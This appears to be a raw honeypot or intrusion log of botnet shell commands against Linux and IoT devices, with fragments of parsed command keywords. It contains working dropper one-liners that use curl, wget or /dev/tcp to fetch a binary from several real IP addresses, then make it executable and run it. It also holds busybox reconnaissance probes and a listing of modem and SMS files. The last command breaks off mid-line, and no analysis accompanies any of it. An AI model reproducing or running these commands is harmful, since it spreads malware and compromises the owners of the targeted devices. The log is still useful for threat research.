('enable', 'system', 'shell', 'sh', 'linuxshell', 'cd ; echo > ; cat ; rm -rf', 'wget ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; rm -rf ; rm -rf')


('./ ; dd if || while ; do echo ; done || cat ;',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JZGFE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FBNHV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EVAAD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YINEP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MHXFL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PHWUQ


('sh', 'shell', 'enable', 'system', 'ping ; sh', 'kill', 'nan', '/bin/busybox cat || cat')


cat /bin/echo||while read i; do echo $i; done < /proc/self/exe;


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OMCQJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XBBOM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MJFKK

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


nohup $SHELL -c "curl http://8.218.173.88:60115/linux -o /tmp/5AuOyOIQ68; if [ ! -f /tmp/5AuOyOIQ68 ]; then wget http://8.218.173.88:60115/linux -O /tmp/5AuOyOIQ68; fi; if [ ! -f /tmp/5AuOyOIQ68 ]; then exec 6<>/dev/tcp/8.218.173.88/60115 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/5AuOyOIQ68 && chmod +x /tmp/5AuOyOIQ68 && /tmp/5AuOyOIQ68 wYPMs+DfMcXtr8ybvKKRy7vvwTHB7qHMmryiks+y98U13+G3x5W8vZfPoejHON/osMSNvbuQ07XhyzbB6LXPg7Sikcyx98U13+64x5W8vZfFoe3GLsPtstOSvLyNybPjxzDA7bHdm6K+ks2v4cAuwO6yx5W8vZHNoe3GLsPts9OXuqKWyLvvwTHC7aHJlKK+kMuv6MYuxu27y5O9uJTdtOHfMsXqr8SQormax7fpwDTD+bXKjb64kdOw4cMuwOG7y5O9vpHdsOjALsXtr8yVvqKSzrXjxzDA67Ddm6K+ksWv68E23++zx5W8vZDEoejDMt/rs8uNuLWNz7HryzbB6LHOg7Sikcy598A3wve5xZm6vJLMtPnAMsj3sMmXor2bza/rxzrH6bDNlKy4lNOz7cIuwOu205S4tpXNsOvEIMDrtdORvr6NzLLq3zLA7bvLk724kd217t8yxeuvyo2+uJLHt+nANMX5sMyUoruR07Xr3zHG6bvLk724k92598Mxwfe5zI29u5DHt+nAMsH5sM+ToruT07jv3zHI77vLk728k92598Mxxvezz5OivZrKu+/BMcXtocyStKKQzK/rxTTf6LPFmbq8ks+3+cA4wfewy5SivZTFr+DJOsfpsMmSrLiQ07Dqxy7A7rPTkb67mcux6MU00eGvz5K0opPTs+vHOsfpsMmXrLqU07DuxS7J6a/Lmbq8ksmy+cA1wfezz5CiuZTTs+jDOsfpsM6SrLiU07DowC7A67TTlr62lc2w68Ugxe6vypWivZDFr+jGN8vvscyXvwBfU92+4B0RZ1yu/Iw6Nw==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/5AuOyOIQ68 && /tmp/5AuOyOIQ68 wYPMs+DfMcXtr8ybvKKRy7vvwTHB7qHMmryiks+y98U13+G3x5W8vZfPoejHON/osMSNvbuQ07XhyzbB6LXPg7Sikcyx98U13+64x5W8vZfFoe3GLsPtstOSvLyNybPjxzDA7bHdm6K+ks2v4cAuwO6yx5W8vZHNoe3GLsPts9OXuqKWyLvvwTHC7aHJlKK+kMuv6MYuxu27y5O9uJTdtOHfMsXqr8SQormax7fpwDTD+bXKjb64kdOw4cMuwOG7y5O9vpHdsOjALsXtr8yVvqKSzrXjxzDA67Ddm6K+ksWv68E23++zx5W8vZDEoejDMt/rs8uNuLWNz7HryzbB6LHOg7Sikcy598A3wve5xZm6vJLMtPnAMsj3sMmXor2bza/rxzrH6bDNlKy4lNOz7cIuwOu205S4tpXNsOvEIMDrtdORvr6NzLLq3zLA7bvLk724kd217t8yxeuvyo2+uJLHt+nANMX5sMyUoruR07Xr3zHG6bvLk724k92598Mxwfe5zI29u5DHt+nAMsH5sM+ToruT07jv3zHI77vLk728k92598Mxxvezz5OivZrKu+/BMcXtocyStKKQzK/rxTTf6LPFmbq8ks+3+cA4wfewy5SivZTFr+DJOsfpsMmSrLiQ07Dqxy7A7rPTkb67mcux6MU00eGvz5K0opPTs+vHOsfpsMmXrLqU07DuxS7J6a/Lmbq8ksmy+cA1wfezz5CiuZTTs+jDOsfpsM6SrLiU07DowC7A67TTlr62lc2w68Ugxe6vypWivZDFr+jGN8vvscyXvwBfU92+4B0RZ1yu/Iw6Nw==" &#UPX!

nohup $SHELL -c "curl http://8.218.173.88:60115/linux -o /tmp/fBjIGwmj1K; if [ ! -f /tmp/fBjIGwmj1K ]; then wget http://8.218.173.88:60115/linux -O /tmp/fBjIGwmj1K; fi; if [ ! -f /tmp/fBjIGwmj1K ]; then exec 6<>/dev/tcp/8.218.173.88/60115 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/fBjIGwmj1K && chmod +x /tmp/fBjIGwmj1K && /tmp/fBjIGwmj1K wYPMs+DfMcXtr8ybvKKRy7vvwTHB7qHMmryiks+y98U13+G3x5W8vZfPoejHON/osMSNvbuQ07XhyzbB6LXPg7Sikcyx98U13+64x5W8vZfFoe3GLsPtstOSvLyNybPjxzDA7bHdm6K+ks2v4cAuwO6yx5W8vZHNoe3GLsPts9OXuqKWyLvvwTHC7aHJlKK+kMuv6MYuxu27y5O9uJTdtOHfMsXqr8SQormax7fpwDTD+bXKjb64kdOw4cMuwOG7y5O9vpHdsOjALsXtr8yVvqKSzrXjxzDA67Ddm6K+ksWv68E23++zx5W8vZDEoejDMt/rs8uNuLWNz7HryzbB6LHOg7Sikcy598A3wve5xZm6vJLMtPnAMsj3sMmXor2bza/rxzrH6bDNlKy4lNOz7cIuwOu205S4tpXNsOvEIMDrtdORvr6NzLLq3zLA7bvLk724kd217t8yxeuvyo2+uJLHt+nANMX5sMyUoruR07Xr3zHG6bvLk724k92598Mxwfe5zI29u5DHt+nAMsH5sM+ToruT07jv3zHI77vLk728k92598Mxxvezz5OivZrKu+/BMcXtocyStKKQzK/rxTTf6LPFmbq8ks+3+cA4wfewy5SivZTFr+DJOsfpsMmSrLiQ07Dqxy7A7rPTkb67mcux6MU00eGvz5K0opPTs+vHOsfpsMmXrLqU07DuxS7J6a/Lmbq8ksmy+cA1wfezz5CiuZTTs+jDOsfpsM6SrLiU07DowC7A67TTlr62lc2w68Ugxe6vypWivZDFr+jGN8vvscyXvwBfU92+4B0RZ1yu/Iw6Nw==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/fBjIGwmj1K && /tmp/fBjIGwmj1K wYPMs+DfMcXtr8ybvKKRy7vvwTHB7qHMmryiks+y98U13+G3x5W8vZfPoejHON/osMSNvbuQ07XhyzbB6LXPg7Sikcyx98U13+64x5W8vZfFoe3GLsPtstOSvLyNybPjxzDA7bHdm6K+ks2v4cAuwO6yx5W8vZHNoe3GLsPts9OXuqKWyLvvwTHC7aHJlKK+kMuv6MYuxu27y5O9uJTdtOHfMsXqr8SQormax7fpwDTD+bXKjb64kdOw4cMuwOG7y5O9vpHdsOjALsXtr8yVvqKSzrXjxzDA67Ddm6K+ksWv68E23++zx5W8vZDEoejDMt/rs8uNuLWNz7HryzbB6LHOg7Sikcy598A3wve5xZm6vJLMtPnAMsj3sMmXor2bza/rxzrH6bDNlKy4lNOz7cIuwOu205S4tpXNsOvEIMDrtdORvr6NzLLq3zLA7bvLk724kd217t8yxeuvyo2+uJLHt+nANMX5sMyUoruR07Xr3zHG6bvLk724k92598Mxwfe5zI29u5DHt+nAMsH5sM+ToruT07jv3zHI77vLk728k92598Mxxvezz5OivZrKu+/BMcXtocyStKKQzK/rxTTf6LPFmbq8ks+3+cA4wfewy5SivZTFr+DJOsfpsMmSrLiQ07Dqxy7A7rPTkb67mcux6MU00eGvz5K0opPTs+vHOsfpsMmXrLqU07DuxS7J6a/Lmbq8ksmy+cA1wfezz5CiuZTTs+jDOsfpsM6SrLiU07DowC7A67TTlr62lc2w68Ugxe6vypWivZDFr+jGN8vvscyXvwBfU92+4B0RZ1yu/Iw6Nw==" &#UPX!


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HMIKR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VSBNL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KWCEC


nohup $SHELL -c "curl http://218.3.177.39:60120/linux -o /tmp/ATofzrhhsC; if [ ! -f /tmp/ATofzrhhsC ]; then wget http://218.3.177.39:60120/linux -O /tmp/ATofzrhhsC; fi; if [ ! -f /tmp/ATofzrhhsC ]; then exec 6<>/dev/tcp/218.3.177.39/60120 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/ATofzrhhsC && chmod +x /tmp/ATofzrhhsC && /tmp/ATofzrhhsC WeHiaNDGb+L4OiX24HDc0GTl8SUg8/Nv0dhw4vMnOvXmcNDeZOXxJSDz82/a0XDi9SA68Otuxtpo6fckJfHkftnYb/3yJzr24HDZ3Gnp9yQl8eJ+0MZs4vE6JfDkcNrbb+n3JCXx637Z2W/99SA68OVsxtlt5/siJPDhb8jab+vvJzrw5GnG22fp9yQl8+N+3N9w4fUnOvDjbsbcbOn3JCX1437Z2mr98yYm7+Jt28Zs4vUuIvHiatrIa+vvJiT4/Wzb3HDq9y4i8eJt2Mhm/fMlJO/hbN3Gb+L1LiLx4mzRyGrk7yYn9/1v3ttw4vcsLvfjb9jZfuLwIzry53Da2Wv98CIu9+Nv2tB+5/Y6JvXgcNnaaf32IC7342/a3X7i+Sc69OVw2tlr/fMmJfvlbtnYafP1Izrz4GjG0Wb98yQg++Vu2dhq8/UjOvblcN/fcOL5Iy7342/b337n9jom9eBw2tht/fAjIPvlbtnabvP1Izr25XDZ22j98yEn++Vu2dpo8/UjOvPnbMbaZv30LiLx4m3byGrm7yYg+f1v2MZs4fAuIvHiatDIauTvIyLv4mfZxm/r+yIk8ONoyNxp/fMnIu/qZsbabuf7IiTw42rI3Gn98yAm7+prxtlr6vsiJPDgZsjcaf3zICbv4mfG2Wvr+yIk8ONpyNBw4fAkOvXrcNnfaun3JCXy537Z0G399CI68+Jrxtps4vsiJPDjacjcaf3zICbv4mbaxmzg8S4i8eJv0chq5O8mJ/f9b9/RcOL4Ji7342/a0H7n9Doj9/1n3sZs4PEuIvHibdo52VStTKTzhxgtS0E=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/ATofzrhhsC && /tmp/ATofzrhhsC WeHiaNDGb+L4OiX24HDc0GTl8SUg8/Nv0dhw4vMnOvXmcNDeZOXxJSDz82/a0XDi9SA68Otuxtpo6fckJfHkftnYb/3yJzr24HDZ3Gnp9yQl8eJ+0MZs4vE6JfDkcNrbb+n3JCXx637Z2W/99SA68OVsxtlt5/siJPDhb8jab+vvJzrw5GnG22fp9yQl8+N+3N9w4fUnOvDjbsbcbOn3JCX1437Z2mr98yYm7+Jt28Zs4vUuIvHiatrIa+vvJiT4/Wzb3HDq9y4i8eJt2Mhm/fMlJO/hbN3Gb+L1LiLx4mzRyGrk7yYn9/1v3ttw4vcsLvfjb9jZfuLwIzry53Da2Wv98CIu9+Nv2tB+5/Y6JvXgcNnaaf32IC7342/a3X7i+Sc69OVw2tlr/fMmJfvlbtnYafP1Izrz4GjG0Wb98yQg++Vu2dhq8/UjOvblcN/fcOL5Iy7342/b337n9jom9eBw2tht/fAjIPvlbtnabvP1Izr25XDZ22j98yEn++Vu2dpo8/UjOvPnbMbaZv30LiLx4m3byGrm7yYg+f1v2MZs4fAuIvHiatDIauTvIyLv4mfZxm/r+yIk8ONoyNxp/fMnIu/qZsbabuf7IiTw42rI3Gn98yAm7+prxtlr6vsiJPDgZsjcaf3zICbv4mfG2Wvr+yIk8ONpyNBw4fAkOvXrcNnfaun3JCXy537Z0G399CI68+Jrxtps4vsiJPDjacjcaf3zICbv4mbaxmzg8S4i8eJv0chq5O8mJ/f9b9/RcOL4Ji7342/a0H7n9Doj9/1n3sZs4PEuIvHibdo52VStTKTzhxgtS0E=" &#UPX!


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OAAID


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SAKWP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XQDKY


/bin/busybox cat /proc/self/exe || cat /proc/self/exe


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EJCNY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZFZRF

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MABBO


nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/qMx0fcJc5D; if [ ! -f /tmp/qMx0fcJc5D ]; then wget http://129.144.180.26:60107/linux -O /tmp/qMx0fcJc5D; fi; if [ ! -f /tmp/qMx0fcJc5D ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/qMx0fcJc5D && chmod +x /tmp/qMx0fcJc5D && /tmp/qMx0fcJc5D YI6C7TnxgpoVD5+L7y7thZQXEZ+D6CDnnZ8SEYCC7DTxgZ0RG5iD7jHrk58QEoCB7zDxgpcRD5+E7zrpg58QEY6H6C7tgJgPEJiA8THpi5QXEZ+D7iDpgoAQF56d7THtnZwSFZSF7zHvh44QEZ2d7jTnnZ8TFICA6zrpg58TEo6C7TXxgpwVD5+L7y7ni5QXEZ+B5yDtgZwPFpud7TDrnZ8SEJSF7zHtgY4UGYCB7znxgZ0VD5eF5Tbvgp0RAZ+B5i7uh5oPEJaD8TLpiZgREJ6E/zjxgZ8RD5+G5y7nhZQXEZ+C7SDrhIAQEJ+d7jLqnZsTG5iD7jLrk5YPEJ2F8TnnnZYbF56C7Dj/i4ATEJ6d7jTonZgXG5iD7jPmk5wQGYCA8THohIASGJSF7zHtg44VFoCB6zLxgpYTD5yA7zrpg58QGI6H6C7th50PE5yF8TjoiZgREJ2C/zHthoAZGYCB7jDxgp0RG5iD7jTrk5YPE5+E8TLvnZ8VEpSF7zHvgI4QFJqd7THsnZ8ZD5yB6Drpg58RGI6H6C7ohYAWE4CC7znlhZ4QEJyT6zfxgZ0XD5+F7C7uhpgbF56C7TP/gp8WD52A8THrhIASGJSF7zHrio4ZD5yC7y7ugZoPEJeC5Tbvgp0WAZiD8THtnZsUD5+C5Tbvgp0UAZyC7S7rnZYRD5+G7zrpg58SEY6L8TLug4AZEICC6DPlhZ4QE56T5y7tgp4PE5+C8THphZQXEZ+H6CDrhIATFZ2d7jHrnZgSG5iD7jPmk5wREoCG6S7rg4ATE5iJ6TDuh54UzB9an4WsYjU/Ng==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/qMx0fcJc5D && /tmp/qMx0fcJc5D YI6C7TnxgpoVD5+L7y7thZQXEZ+D6CDnnZ8SEYCC7DTxgZ0RG5iD7jHrk58QEoCB7zDxgpcRD5+E7zrpg58QEY6H6C7tgJgPEJiA8THpi5QXEZ+D7iDpgoAQF56d7THtnZwSFZSF7zHvh44QEZ2d7jTnnZ8TFICA6zrpg58TEo6C7TXxgpwVD5+L7y7ni5QXEZ+B5yDtgZwPFpud7TDrnZ8SEJSF7zHtgY4UGYCB7znxgZ0VD5eF5Tbvgp0RAZ+B5i7uh5oPEJaD8TLpiZgREJ6E/zjxgZ8RD5+G5y7nhZQXEZ+C7SDrhIAQEJ+d7jLqnZsTG5iD7jLrk5YPEJ2F8TnnnZYbF56C7Dj/i4ATEJ6d7jTonZgXG5iD7jPmk5wQGYCA8THohIASGJSF7zHtg44VFoCB6zLxgpYTD5yA7zrpg58QGI6H6C7th50PE5yF8TjoiZgREJ2C/zHthoAZGYCB7jDxgp0RG5iD7jTrk5YPE5+E8TLvnZ8VEpSF7zHvgI4QFJqd7THsnZ8ZD5yB6Drpg58RGI6H6C7ohYAWE4CC7znlhZ4QEJyT6zfxgZ0XD5+F7C7uhpgbF56C7TP/gp8WD52A8THrhIASGJSF7zHrio4ZD5yC7y7ugZoPEJeC5Tbvgp0WAZiD8THtnZsUD5+C5Tbvgp0UAZyC7S7rnZYRD5+G7zrpg58SEY6L8TLug4AZEICC6DPlhZ4QE56T5y7tgp4PE5+C8THphZQXEZ+H6CDrhIATFZ2d7jHrnZgSG5iD7jPmk5wREoCG6S7rg4ATE5iJ6TDuh54UzB9an4WsYjU/Ng==" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'chmod', '/tmp/xfvLsRT3Jd', 'cp', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'nan', 'exit')


nohup $SHELL -c "curl http://47.236.164.79:60102/linux -o /tmp/FBSjARpfX3; if [ ! -f /tmp/FBSjARpfX3 ]; then wget http://47.236.164.79:60102/linux -O /tmp/FBSjARpfX3; fi; if [ ! -f /tmp/FBSjARpfX3 ]; then exec 6<>/dev/tcp/47.236.164.79/60102 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/FBSjARpfX3 && chmod +x /tmp/FBSjARpfX3 && /tmp/FBSjARpfX3 RpbtxFURDlzL8oc8OJjoylcJD1zG7pY6Mobyw18MEVnH8o49MYDsw1kNH1zA5Zg6P4Lyw1UPEV/E5oA7Oobr0lURDVzL8oc+Ppjuwl0FCV3D7oMrM5juw1URDlrB8o4zMYDsw1wKH1/A7pg8PpjuwlkRDl7D5oA7OoTu0lkIEV/G75g6O4byxl8FCV3D6IYrP4Xyw14HEV/D6pg/PIzqwlwPB03D7IUlOoXo3FUGEVzB5Yw9O4fvx00ODlzc6oUlP4LyxF8FCV3D7IArP4HywF4JEVzE6Jg8MozqwlwPDU3D7IUlOoLq3FwLDkPA6IAxPYbtxlUfC1rc7oU9JYfqxkMODF7I6oY6OYT8xloRDV7E8oc9P5jry1cJD1zC7pY/PJjtwlQRDlnB8oc5MozqwlwMD03G65g5OIDywF4MEV/D7ow9O4ftxU0LCEPA74AlOoDu3FUHBVvC7YY+K4Lr3F8LDUPF8oQ/OozqwlwLC03K8oQ6O5jox0MIBlfE7Ic/M5bk3F8OCEPA7oYlOo/ryFsPDlnG/II8JYftw0MODVjc6YQxPYbtwFkfDl/C8oQ8JYfvwUMOC1fE7Ic6OJbtx1sRDV7A8oc4JYflylcJD1zC65YzJYTtxUMNCl3c5IQxPYbtxlUfDlXC8oc9PJjtxVURBlXI6oY6P4f8ykMNDl3c7oQ+JYftxlcJD1zA5ZY6O4Xyw14LEVXL8oc4MozqwlwMCk3G6Zg5P47yw10RDV/D5oA7OoLk0l8PD0PD5YMlPYHyyl8FCV3D6I4rM5juw1URDF/c7oQ9MYDsw14KANWuQpZBfvuwcmMLEBw=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/FBSjARpfX3 && /tmp/FBSjARpfX3 RpbtxFURDlzL8oc8OJjoylcJD1zG7pY6Mobyw18MEVnH8o49MYDsw1kNH1zA5Zg6P4Lyw1UPEV/E5oA7Oobr0lURDVzL8oc+Ppjuwl0FCV3D7oMrM5juw1URDlrB8o4zMYDsw1wKH1/A7pg8PpjuwlkRDl7D5oA7OoTu0lkIEV/G75g6O4byxl8FCV3D6IYrP4Xyw14HEV/D6pg/PIzqwlwPB03D7IUlOoXo3FUGEVzB5Yw9O4fvx00ODlzc6oUlP4LyxF8FCV3D7IArP4HywF4JEVzE6Jg8MozqwlwPDU3D7IUlOoLq3FwLDkPA6IAxPYbtxlUfC1rc7oU9JYfqxkMODF7I6oY6OYT8xloRDV7E8oc9P5jry1cJD1zC7pY/PJjtwlQRDlnB8oc5MozqwlwMD03G65g5OIDywF4MEV/D7ow9O4ftxU0LCEPA74AlOoDu3FUHBVvC7YY+K4Lr3F8LDUPF8oQ/OozqwlwLC03K8oQ6O5jox0MIBlfE7Ic/M5bk3F8OCEPA7oYlOo/ryFsPDlnG/II8JYftw0MODVjc6YQxPYbtwFkfDl/C8oQ8JYfvwUMOC1fE7Ic6OJbtx1sRDV7A8oc4JYflylcJD1zC65YzJYTtxUMNCl3c5IQxPYbtxlUfDlXC8oc9PJjtxVURBlXI6oY6P4f8ykMNDl3c7oQ+JYftxlcJD1zA5ZY6O4Xyw14LEVXL8oc4MozqwlwMCk3G6Zg5P47yw10RDV/D5oA7OoLk0l8PD0PD5YMlPYHyyl8FCV3D6I4rM5juw1URDF/c7oQ9MYDsw14KANWuQpZBfvuwcmMLEBw=" &#UPX!

nohup $SHELL -c "curl http://47.236.164.79:60102/linux -o /tmp/g2bHbuCa4l; if [ ! -f /tmp/g2bHbuCa4l ]; then wget http://47.236.164.79:60102/linux -O /tmp/g2bHbuCa4l; fi; if [ ! -f /tmp/g2bHbuCa4l ]; then exec 6<>/dev/tcp/47.236.164.79/60102 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/g2bHbuCa4l && chmod +x /tmp/g2bHbuCa4l && /tmp/g2bHbuCa4l RpbtxFURDlzL8oc8OJjoylcJD1zG7pY6Mobyw18MEVnH8o49MYDsw1kNH1zA5Zg6P4Lyw1UPEV/E5oA7Oobr0lURDVzL8oc+Ppjuwl0FCV3D7oMrM5juw1URDlrB8o4zMYDsw1wKH1/A7pg8PpjuwlkRDl7D5oA7OoTu0lkIEV/G75g6O4byxl8FCV3D6IYrP4Xyw14HEV/D6pg/PIzqwlwPB03D7IUlOoXo3FUGEVzB5Yw9O4fvx00ODlzc6oUlP4LyxF8FCV3D7IArP4HywF4JEVzE6Jg8MozqwlwPDU3D7IUlOoLq3FwLDkPA6IAxPYbtxlUfC1rc7oU9JYfqxkMODF7I6oY6OYT8xloRDV7E8oc9P5jry1cJD1zC7pY/PJjtwlQRDlnB8oc5MozqwlwMD03G65g5OIDywF4MEV/D7ow9O4ftxU0LCEPA74AlOoDu3FUHBVvC7YY+K4Lr3F8LDUPF8oQ/OozqwlwLC03K8oQ6O5jox0MIBlfE7Ic/M5bk3F8OCEPA7oYlOo/ryFsPDlnG/II8JYftw0MODVjc6YQxPYbtwFkfDl/C8oQ8JYfvwUMOC1fE7Ic6OJbtx1sRDV7A8oc4JYflylcJD1zC65YzJYTtxUMNCl3c5IQxPYbtxlUfDlXC8oc9PJjtxVURBlXI6oY6P4f8ykMNDl3c7oQ+JYftxlcJD1zA5ZY6O4Xyw14LEVXL8oc4MozqwlwMCk3G6Zg5P47yw10RDV/D5oA7OoLk0l8PD0PD5YMlPYHyyl8FCV3D6I4rM5juw1URDF/c7oQ9MYDsw14KANWuQpZBfvuwcmMLEBw=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/g2bHbuCa4l && /tmp/g2bHbuCa4l RpbtxFURDlzL8oc8OJjoylcJD1zG7pY6Mobyw18MEVnH8o49MYDsw1kNH1zA5Zg6P4Lyw1UPEV/E5oA7Oobr0lURDVzL8oc+Ppjuwl0FCV3D7oMrM5juw1URDlrB8o4zMYDsw1wKH1/A7pg8PpjuwlkRDl7D5oA7OoTu0lkIEV/G75g6O4byxl8FCV3D6IYrP4Xyw14HEV/D6pg/PIzqwlwPB03D7IUlOoXo3FUGEVzB5Yw9O4fvx00ODlzc6oUlP4LyxF8FCV3D7IArP4HywF4JEVzE6Jg8MozqwlwPDU3D7IUlOoLq3FwLDkPA6IAxPYbtxlUfC1rc7oU9JYfqxkMODF7I6oY6OYT8xloRDV7E8oc9P5jry1cJD1zC7pY/PJjtwlQRDlnB8oc5MozqwlwMD03G65g5OIDywF4MEV/D7ow9O4ftxU0LCEPA74AlOoDu3FUHBVvC7YY+K4Lr3F8LDUPF8oQ/OozqwlwLC03K8oQ6O5jox0MIBlfE7Ic/M5bk3F8OCEPA7oYlOo/ryFsPDlnG/II8JYftw0MODVjc6YQxPYbtwFkfDl/C8oQ8JYfvwUMOC1fE7Ic6OJbtx1sRDV7A8oc4JYflylcJD1zC65YzJYTtxUMNCl3c5IQxPYbtxlUfDlXC8oc9PJjtxVURBlXI6oY6P4f8ykMNDl3c7oQ+JYftxlcJD1zA5ZY6O4Xyw14LEVXL8oc4MozqwlwMCk3G6Zg5P47yw10RDV/D5oA7OoLk0l8PD0PD5YMlPYHyyl8FCV3D6I4rM5juw1URDF/c7oQ9MYDsw14KANWuQpZBfvuwcmMLEBw=" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'o', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PWWBN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QSTLO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HYCOW


('chmod +x ./ ; nohup ./ &', 'chmod +x ./ ; nohup ./ &')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NFGFN


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


('sh', 'shell', 'enable', 'system', 'ping ; sh', 'nan', '/bin/busybox cat || cat')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZTQTC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QRSZV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UXTNT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MQKYU

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WEUFB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SBYZG


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/FfAkbPYuOy; if [ ! -f /tmp/FfAkbPYuOy ]; then wget http://129.144.180.26:60107/linux -O /tmp/FfAkbPYuOy; fi; if [ ! -f /tmp/FfAkbPYuOy ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/FfAkbPYuOy && chmod +x /tmp/FfAkbPYuOy && /tmp/FfAkbPYuOy kSd1aLx4+hXJCXYAlP0y5Z4OdxbNFutitnR1NOjyN2prtGTxF80WdA2E4Dj9khZ2H8kP+m+wYHI37ew3ZGKrZPoZ0xV3C4rnMemSCHYXzwH/YatocDXy7jdwdLxl8RfNFnYOhOc3/ZYMdQnKD/litGByN+3oM2Rrt2LlE88VaQmX4C7hlQx9Ec0Q/2SlbnMp7ug0amu3YeUWyR1xCJXhNfOcFnUWyg/5ZLB0fTPm6jd1aLN2/xbTFXMKiuI4/ZIBfRHNEP9upW5zKevqKXFqq2P4G8sXdgqd8zTkigpzFdMQ82Sra3w96uw2dmilbuUTzBdpCZXkLuGXCX0RzRD7bqViajXt6yl2brN4+hLOHXEIleIy85APaRXJEuVnvXR9M+bqN3Vqs3b/FtMVcwuK5zn9lgt+HcsR+mK8enI28uk2amiwZeUSzR1xCJXiMfOcFnUWyg/+b6trdjTm6jd1abV28w/PFn8WnOIu4pYKfRHNEPhnpWJqNe3rKXZvtnj5EMwdcQiV4jDzlwFpFssU5We9bWo25O89cmq0Zf4Bzxd0FpHlLueUFnUVyxv9ZrRudCfk8jV1aqtn/RDTFnQBnuUw4pcNZx/TE/puq2J2KerrPXJqtGb4AcwXdhaX4C7klxZ2E8ob/Wa0anUn5PI1dWKrZ/sT0xN+ApLjMeCQGH8JzxDzeLRrdino7D1yarRm8wHFCXUJnP054IoLch3LEfpntHp8Ke7tMGposWDlEM4UfQ6U4jHhhAxwCc8V+Hi0Ymo+6OYxdGu1YIWGdbedrQaECIBVJjoNKt6eHhKn9aXN+xjtMYFZeWQ=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/FfAkbPYuOy && /tmp/FfAkbPYuOy 